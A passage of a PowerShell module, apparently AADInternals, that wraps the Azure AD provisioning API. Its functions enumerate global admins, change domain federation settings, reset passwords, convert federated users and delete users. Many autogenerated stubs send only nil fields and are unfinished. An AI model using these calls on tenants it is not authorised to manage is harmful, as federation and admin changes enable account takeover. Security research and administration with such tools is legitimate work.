[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ReturnValue
)
Process
{
$command="ListRoles"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ReturnValue i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-ServicePrincipal
function Add-ServicePrincipal
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AppPrincipalId,
[Parameter(Mandatory=$False)]
$Addresses,
[Parameter(Mandatory=$False)]
[Boolean]$TrustedForDelegation,
[Parameter(Mandatory=$False)]
[Boolean]$AccountEnabled,
[Parameter(Mandatory=$False)]
$ServicePrincipalNames,
[Parameter(Mandatory=$False)]
$Credentials,
[Parameter(Mandatory=$False)]
[string]$DisplayName
)
Process
{
$command="AddServicePrincipal"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AppPrincipalId i:nil="true"/>
<b:Addresses i:nil="true"/>
<b:TrustedForDelegation i:nil="true"/>
<b:AccountEnabled i:nil="true"/>
<b:ServicePrincipalNames i:nil="true"/>
<b:Credentials i:nil="true"/>
<b:DisplayName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-ServicePrincipal
function Set-ServicePrincipal
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ServicePrincipal,
[Parameter(Mandatory=$False)]
$AccountEnabled,
[Parameter(Mandatory=$False)]
$Addresses,
[Parameter(Mandatory=$False)]
$AppPrincipalId,
[Parameter(Mandatory=$False)]
$DisplayName,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
$ServicePrincipalNames,
[Parameter(Mandatory=$False)]
$TrustedForDelegation
)
Process
{
$command="SetServicePrincipal"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ServicePrincipal xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:AccountEnabled i:nil="true"/>
<c:Addresses i:nil="true"/>
<c:AppPrincipalId i:nil="true"/>
<c:DisplayName i:nil="true"/>
<c:ObjectId i:nil="true"/>
<c:ServicePrincipalNames i:nil="true"/>
<c:TrustedForDelegation i:nil="true"/>
</b:ServicePrincipal>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-CompanyDirSyncFeatures
function Get-CompanyDirSyncFeatures
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$Feature
)
Process
{
$command="GetCompanyDirSyncFeatures"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Feature i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results.DirSyncFeatureDetails
}
}
# Get-Users
function Get-Users
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$UserSearchDefinition,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$AccountSku,
[Parameter(Mandatory=$False)]
$AdministrativeUnitObjectId,
[Parameter(Mandatory=$False)]
$BlackberryUsersOnly,
[Parameter(Mandatory=$False)]
$City,
[Parameter(Mandatory=$False)]
$Country,
[Parameter(Mandatory=$False)]
$Department,
[Parameter(Mandatory=$False)]
$DomainName,
[Parameter(Mandatory=$False)]
$EnabledFilter,
[Parameter(Mandatory=$False)]
$HasErrorsOnly,
[Parameter(Mandatory=$False)]
$IncludedProperties,
[Parameter(Mandatory=$False)]
$IndirectLicenseFilter,
[Parameter(Mandatory=$False)]
$LicenseReconciliationNeededOnly,
[Parameter(Mandatory=$False)]
$ReturnDeletedUsers,
[Parameter(Mandatory=$False)]
$State,
[Parameter(Mandatory=$False)]
$Synchronized,
[Parameter(Mandatory=$False)]
$Title,
[Parameter(Mandatory=$False)]
[Boolean]$UnlicensedUsersOnly,
[Parameter(Mandatory=$False)]
$UsageLocation
)
Process
{
$command="ListUsers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:UserSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
$(Add-CElement -Parameter "SearchString" -Value $SearchString)
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:AccountSku i:nil="true"/>
<c:AdministrativeUnitObjectId i:nil="true"/>
<c:BlackberryUsersOnly i:nil="true"/>
<c:City i:nil="true"/>
<c:Country i:nil="true"/>
<c:Department i:nil="true"/>
<c:DomainName i:nil="true"/>
<c:EnabledFilter i:nil="true"/>
<c:HasErrorsOnly i:nil="true"/>
<c:IncludedProperties i:nil="true"/>
<c:IndirectLicenseFilter i:nil="true"/>
<c:LicenseReconciliationNeededOnly i:nil="true"/>
<c:ReturnDeletedUsers i:nil="true"/>
<c:State i:nil="true"/>
<c:Synchronized i:nil="true"/>
<c:Title i:nil="true"/>
<c:UnlicensedUsersOnly i:nil="true"/>
<c:UsageLocation i:nil="true"/>
</b:UserSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# Return
$results.results.user
}
}
# Autogenerated Sep 23rd 2018
# Convert-FederatedUserToManaged
function Convert-FederatedUserToManaged
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[string]$UserPrincipalName,
[Parameter(Mandatory=$False)]
[string]$NewPassword
)
Process
{
$command="ConvertFederatedUserToManaged"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:UserPrincipalName i:nil="true"/>
<b:NewPassword i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-Role
function Get-Role
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="GetRole"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Set-DomainFederationSettings
# Aug 12th 2018
function Set-DomainFederationSettings
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$DomainName,
[Parameter(Mandatory=$False)]
[string]$ActiveLogOnUri,
[Parameter(Mandatory=$False)]
[string]$DefaultInteractiveAuthenticationMethod,
[Parameter(Mandatory=$False)]
[string]$FederationBrandName,
[Parameter(Mandatory=$True)]
[string]$IssuerUri,
[Parameter(Mandatory=$True)]
[string]$LogOffUri,
[Parameter(Mandatory=$False)]
[string]$MetadataExchangeUri,
[Parameter(Mandatory=$False)]
[string]$NextSigningCertificate,
[Parameter(Mandatory=$False)]
[string]$OpenIdConnectDiscoveryEndpoint,
[Parameter(Mandatory=$True)]
[string]$PassiveLogOnUri,
[Parameter(Mandatory=$False)]
[string]$PasswordChangeUri,
[Parameter(Mandatory=$False)]
[string]$PasswordResetUri,
[Parameter(Mandatory=$False)]
[validateset("WsFed","SAMLP")]
[string]$PreferredAuthenticationProtocol="WsFed",
[Parameter(Mandatory=$False)]
[string]$PromptLoginBehavior,
[Parameter(Mandatory=$True)]
[string]$SigningCertificate,
[Parameter(Mandatory=$False)]
[string]$SigningCertificateUpdateStatus
#[Parameter(Mandatory=$False)]
#[Boolean]$SupportsMfa=$true
)
Process
{
$command="SetDomainFederationSettings"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
$(Add-BElement -Parameter "VerifiedDomain" -Value $VerifiedDomain)
$(Add-BElement -Parameter "Authentication" -Value "Federated")
$(Add-BElement -Parameter "DomainName" -Value $DomainName)
<b:FederationSettings xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
$(Add-CElement -Parameter "ActiveLogonUri" -Value $ActiveLogOnUri)
$(Add-CElement -Parameter "DefaultInteractiveAuthenticationMethod" -Value $DefaultInteractiveAuthenticationMethod)
$(Add-CElement -Parameter "FederationBrandName" -Value $FederationBrandName)
$(Add-CElement -Parameter "IssuerUri" -Value $IssuerUri)
$(Add-CElement -Parameter "LogOffUri" -Value $LogOffUri)
$(Add-CElement -Parameter "MetadataExchangeUri" -Value $MetadataExchangeUri)
$(Add-CElement -Parameter "NextSigningCertificate" -Value $NextSigningCertificate)
$(Add-CElement -Parameter "OpenIdConnectDiscoveryEndpoint" -Value $OpenIdConnectDiscoveryEndpoint)
$(Add-CElement -Parameter "PassiveLogOnUri" -Value $PassiveLogOnUri)
$(Add-CElement -Parameter "PasswordChangeUri" -Value $PasswordChangeUri)
$(Add-CElement -Parameter "PasswordResetUri" -Value $PasswordResetUri)
$(Add-CElement -Parameter "PreferredAuthenticationProtocol" -Value $PreferredAuthenticationProtocol)
$(Add-CElement -Parameter "PromptLoginBehavior" -Value $PromptLoginBehavior)
$(Add-CElement -Parameter "SigningCertificate" -Value $SigningCertificate)
$(Add-CElement -Parameter "SigningCertificateUpdateStatus" -Value $SigningCertificateUpdateStatus)
$(Add-CElement -Parameter "SupportsMfa" -Value $SupportsMfa)
</b:FederationSettings>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-Group
function Set-Group
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Group,
[Parameter(Mandatory=$False)]
$AssignedLicenses,
[Parameter(Mandatory=$False)]
$CommonName,
[Parameter(Mandatory=$False)]
$Description,
[Parameter(Mandatory=$False)]
$DirSyncProvisioningErrors,
[Parameter(Mandatory=$False)]
$DisplayName,
[Parameter(Mandatory=$False)]
$EmailAddress,
[Parameter(Mandatory=$False)]
$Errors,
[Parameter(Mandatory=$False)]
$GroupLicenseProcessingDetail,
[ValidateSet('DistributionList','Security','MailEnabledSecurity')]
$GroupType="DistributionList",
[Parameter(Mandatory=$False)]
$IsSystem,
[Parameter(Mandatory=$False)]
$LastDirSyncTime,
[Parameter(Mandatory=$False)]
$Licenses,
[Parameter(Mandatory=$False)]
$ManagedBy,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
$ProxyAddresses,
[ValidateSet('NotAvailable','Healthy','Error')]
$ValidationStatus="NotAvailable"
)
Process
{
$command="SetGroup"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Group xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:AssignedLicenses i:nil="true"/>
<c:CommonName i:nil="true"/>
<c:Description i:nil="true"/>
<c:DirSyncProvisioningErrors i:nil="true"/>
<c:DisplayName i:nil="true"/>
<c:EmailAddress i:nil="true"/>
<c:Errors i:nil="true"/>
<c:GroupLicenseProcessingDetail i:nil="true"/>
<c:GroupType i:nil="true"/>
<c:IsSystem i:nil="true"/>
<c:LastDirSyncTime i:nil="true"/>
<c:Licenses i:nil="true"/>
<c:ManagedBy i:nil="true"/>
<c:ObjectId i:nil="true"/>
<c:ProxyAddresses i:nil="true"/>
<c:ValidationStatus i:nil="true"/>
</b:Group>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Verify-Domain2
function Verify-Domain2
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$FederationSettings,
[Parameter(Mandatory=$False)]
$ForceTakeover,
[Parameter(Mandatory=$False)]
[string]$DomainName
)
Process
{
$command="VerifyDomain2"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:FederationSettings i:nil="true"/>
<b:ForceTakeover i:nil="true"/>
<b:DomainName i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Set-Domain
function Set-Domain
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Domain,
[Parameter(Mandatory=$False)]
$Authentication,
[Parameter(Mandatory=$False)]
$Capabilities,
[Parameter(Mandatory=$False)]
$IsDefault,
[Parameter(Mandatory=$False)]
$IsInitial,
[Parameter(Mandatory=$False)]
$Name,
[Parameter(Mandatory=$False)]
$RootDomain,
[Parameter(Mandatory=$False)]
$Status,
[Parameter(Mandatory=$False)]
$VerificationMethod
)
Process
{
$command="SetDomain"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:Domain xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:Authentication i:nil="true"/>
<c:Capabilities i:nil="true"/>
<c:IsDefault i:nil="true"/>
<c:IsInitial i:nil="true"/>
<c:Name i:nil="true"/>
<c:RootDomain i:nil="true"/>
<c:Status i:nil="true"/>
<c:VerificationMethod i:nil="true"/>
</b:Domain>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Retry-UserProvisioning
function Retry-UserProvisioning
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="RetryUserProvisioning"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-ServicePrincipalCredentials
function Remove-ServicePrincipalCredentials
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
$KeyIds,
[Parameter(Mandatory=$False)]
[Boolean]$MsodsAsKeyStore
)
Process
{
$command="RemoveServicePrincipalCredentials"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
<b:KeyIds i:nil="true"/>
<b:MsodsAsKeyStore i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Set-ADDirSyncEnabled
# May 8th 2019
function Set-ADSyncEnabled
{
<#
.SYNOPSIS
Enables or disables directory synchronization
.DESCRIPTION
Enables or disables directory synchronization using provisioning API.
Enabling / disabling the synchrnoization usually takes less than 10 seconds. Check the status using Get-AADIntCompanyInformation.
.Parameter AccessToken
Access Token
.Parameter Enabled
True or False
.Example
Set-AADIntADSyncEnabled -Enabled $true
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Boolean]$EnableDirSync
)
Process
{
$command="SetCompanyDirSyncEnabled"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
$(Add-BElement -Parameter "EnableDirSync" -Value $EnableDirSync)
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Change-UserPrincipalName
function Change-UserPrincipalName
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
[string]$ImmutableId,
[Parameter(Mandatory=$False)]
[string]$NewUserPrincipalName,
[Parameter(Mandatory=$False)]
[string]$NewPassword
)
Process
{
$command="ChangeUserPrincipalName"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
<b:ImmutableId i:nil="true"/>
<b:NewUserPrincipalName i:nil="true"/>
<b:NewPassword i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Get-RoleMembers
# Oct 19th 2018
function Get-GlobalAdmins
{
<#
.SYNOPSIS
Returns Global Admins
.Description
Returns Global Admins
.Parameter AccessToken
Access Token
.Example
Get-AADIntGlobalAdmins
DisplayName UserPrincipalName
----------- -----------------
Admin [email protected]
Admin Two [email protected]
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Return role members using well-known Global Admins role object id.
return Get-RoleMembers -AccessToken $AccessToken -RoleObjectId "62e90394-69f5-4237-9190-012177145e10" | Select-Object @{N='DisplayName'; E={$_.DisplayName}},@{N='UserPrincipalName'; E={$_.EmailAddress}},@{N='ObjectId'; E={$_.ObjectId}}, @{N='Type'; E={$_.RoleMemberType}}
}
}
# Get-RoleMembers
# Oct 19th 2018
function Get-RoleMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[int]$PageSize=500,
[Parameter(Mandatory=$False)]
[string]$SearchString,
[ValidateSet('Ascending','Descending')]
[string]$SortDirection="Ascending",
[ValidateSet('DisplayName','UserPrincipalName','None')]
[string]$SortField="None",
[Parameter(Mandatory=$False)]
$IncludedProperties,
[Parameter(Mandatory=$False)]
$MemberObjectTypes,
[Parameter(Mandatory=$False)]
$RoleObjectId
)
Process
{
$command="ListRoleMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:RoleMemberSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:PageSize>$PageSize</c:PageSize>
<c:SearchString i:nil="true"/>
<c:SortDirection>$SortDirection</c:SortDirection>
<c:SortField>$SortField</c:SortField>
<c:IncludedProperties i:nil="true"/>
<c:MemberObjectTypes i:nil="true"/>
$(Add-CElement -Parameter "RoleObjectId" -Value $RoleObjectId)
</b:RoleMemberSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# Return
$results.Results.RoleMember
}
}
# Autogenerated Sep 23rd 2018
# Get-AdministrativeUnits
function Get-AdministrativeUnits
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AdministrativeUnitSearchDefinition,
[Parameter(Mandatory=$False)]
$IncludedProperties,
[Parameter(Mandatory=$False)]
$UserObjectId,
[Parameter(Mandatory=$False)]
$UserPrincipalName
)
Process
{
$command="ListAdministrativeUnits"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AdministrativeUnitSearchDefinition xmlns:c="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration">
<c:IncludedProperties i:nil="true"/>
<c:UserObjectId i:nil="true"/>
<c:UserPrincipalName i:nil="true"/>
</b:AdministrativeUnitSearchDefinition>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Reset-UserPassword
function Reset-UserPassword
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId,
[Parameter(Mandatory=$False)]
[Boolean]$ForceChangePasswordOnly,
[Parameter(Mandatory=$False)]
[Boolean]$ForceChangePassword,
[Parameter(Mandatory=$False)]
[string]$NewPassword
)
Process
{
$command="ResetUserPassword"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
<b:ForceChangePasswordOnly i:nil="true"/>
<b:ForceChangePassword i:nil="true"/>
<b:NewPassword i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Navigate-PartnerContracts
function Navigate-PartnerContracts
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$PageToNavigate,
[Parameter(Mandatory=$False)]
$ListContext
)
Process
{
$command="NavigatePartnerContracts"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:PageToNavigate i:nil="true"/>
<b:ListContext i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-User
function Remove-UserByObjectId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
$ObjectId,
[Parameter(Mandatory=$False)]
[Boolean]$RemoveFromRecycleBin=$False
)
Process
{
$command="RemoveUser"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
<b:RemoveFromRecycleBin>$(b2s($RemoveFromRecycleBin))</b:RemoveFromRecycleBin>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Remove-Contact
function Remove-Contact
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$ObjectId
)
Process
{
$command="RemoveContact"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:ObjectId>$ObjectId</b:ObjectId>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Add-GroupMembers
function Add-GroupMembers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$GroupMembers,
[Parameter(Mandatory=$False)]
$GroupObjectId
)
Process
{
$command="AddGroupMembers"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:GroupMembers i:nil="true"/>
<b:GroupObjectId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-ServicePrincipalByAppPrincipalId
function Get-ServicePrincipalByAppPrincipalId
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$AppPrincipalId
)
Process
{
$command="GetServicePrincipalByAppPrincipalId"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:AppPrincipalId i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-Domains
function Get-Domains
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$SearchFilter
)
Process
{
$command="ListDomains"
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Create the body for getting users
$request_elements=@"
<b:SearchFilter i:nil="true"/>
"@
# Create the envelope and call the API
$response=Call-ProvisioningAPI(Create-Envelope $AccessToken $command $request_elements)
# Get the results
$results = Parse-SOAPResponse($Response)
# TODO: do something with results
$results
}
}
# Autogenerated Sep 23rd 2018
# Get-UserByUpn
function Get-UserByUpn
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$UserPrincipalName,
[Parameter(Mandatory=$False)]
[Boolean]$ReturnDeletedUsers=$False
)
Process
{
$command="GetUserByUpn"
